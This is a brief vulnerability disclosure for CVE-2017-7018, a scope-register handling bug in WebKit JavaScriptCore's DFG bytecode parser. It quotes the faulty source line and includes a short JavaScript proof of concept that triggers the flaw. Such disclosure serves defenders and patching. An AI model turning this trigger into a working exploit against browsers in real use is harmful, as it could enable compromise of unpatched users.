WebKit: JSC: Incorrect scope register handling in DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry) 

CVE-2017-7018


Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).

void flush(InlineStackEntry* inlineStackEntry)
{
  ...
    if (m_graph.needsScopeRegister())
        flush(m_codeBlock->scopeRegister()); <<--- (a)
}

At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.

PoC:
function f() {
    (function () {
      eval('1');
      f();
    }());

    throw 1;
}

f();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt